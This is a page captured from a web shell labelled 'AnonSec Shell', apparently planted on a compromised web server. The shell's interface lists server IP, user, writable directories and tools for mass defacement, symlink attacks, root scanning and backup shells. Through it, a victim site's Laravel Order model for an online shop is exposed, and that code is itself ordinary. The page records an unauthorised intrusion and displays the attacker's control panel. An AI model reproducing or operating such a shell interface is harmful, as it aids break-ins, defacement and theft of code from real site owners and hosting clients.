AnonSec Shell
Server IP : 104.21.26.206  /  Your IP : 216.73.216.227   [ Reverse IP ]
Web Server : Apache
System : Linux frog 6.1.0-49-amd64 #1 SMP PREEMPT_DYNAMIC Debian 6.1.174-1 (2026-05-26) x86_64
User : web13 ( 5017)
PHP Version : 8.3.31
Disable Function : NONE
Domains : 41 Domains
MySQL : OFF  |  cURL : ON  |  WGET : OFF  |  Perl : OFF  |  Python : OFF  |  Sudo : OFF  |  Pkexec : OFF
Directory :  /var/www/clients/client12/web13/web/ahelos/app/Models/

Upload File :
current_dir [ Writeable ] document_root [ Writeable ]

 

Command :


[ HOME ]     [ BACKUP SHELL ]     [ JUMPING ]     [ MASS DEFACE ]     [ SCAN ROOT ]     [ SYMLINK ]     

Current File : /var/www/clients/client12/web13/web/ahelos/app/Models/Order.php
<?php

namespace App\Models;

use Illuminate\Database\Eloquent\Factories\HasFactory;
use Illuminate\Database\Eloquent\Model;

class Order extends Model
{
    use HasFactory;

    protected $table = 'orders';

    protected $fillable = [
      'user_id',
      'fname',
      'lname',
      'email',
      'phone',
      'note',
      'status',
      'shipping',
      'payment',
      'type'
    ];

    public function status() {
      $array = [
        1 => 'Нова',
        2 => 'Изпратена',
        3 => 'Обработва се',
        4 => 'Доставена',
        5 => 'Изчакваща',
        6 => 'Отказана',
        7 => 'Върната',
      ];
      return $array[$this->status];
    }

    public function statusBgClass(){
      $array = [
        1 => 'bg-danger',
        2 => 'bg-info',
        3 => 'bg-orange',
        4 => 'bg-success',
        5 => 'bg-secondary',
        6 => 'bg-dark border border-white',
        7 => 'bg-purple',
      ];
      return $array[$this->status];
    }

    public function paymentMethod(){
      $array = [
        1 => 'Наложен платеж',
        2 => 'Дебитна/Кредитна карта'
      ];
      return $array[$this->payment];
    }

    public function invoice() {
      return $this->hasOne(OrderInvoice::class, 'order_id');
    }

    public function products() {
      return $this->hasMany(OrderProduct::class, 'order_id')->with('info');
    }

    public function address() {
      return $this->hasOne(OrderAddress::class, 'order_id');
    }

    public function shipping() {
      return $this->hasOne(OrderShipping::class, 'order_id');
    }

    public function notes() {
      return $this->hasMany(OrderNote::class, 'order_id')->with('admin')->latest();
    }

    public function getTotalSumAttribute(){
      $total_sum = ($this->shipping + $this->products->sum('price')) - $this->credits;
      return $total_sum;
    }

    public function card(){
      return $this->hasOne(CardPayment::class, 'order_id');
    }


    public function scopeFilter($query, $filters) {
      if (isset($filters['status']) && count(array_filter($filters['status'])) > 0) {
        $query->when($filters['status'] ?? false, fn($query, $status) => $query->whereIn('status', $status));
      }

      if (isset($filters['keyword'])) {
        $query->when($filters['keyword'] ?? false, fn($query, $keyword) => $query->where('id', $keyword)
                                                                            ->orWhere('fname', 'LIKE', '%'.$keyword.'%')
                                                                            ->orWhere('lname', 'LIKE', '%'.$keyword.'%')
                                                                            ->orWhere('phone', 'LIKE', '%'.$keyword.'%'));
      }

      if (isset($filters['range'])) {
        $query->when($filters['range'] ?? false, fn ($query, $range) => $query->whereBetween('created_at', [explode(' - ', $range)[0] . ' 00:00:00', explode(' - ', $range)[1] . ' 23:59:59']));
      }
    }
}

Anon7 - 2022
AnonSec Team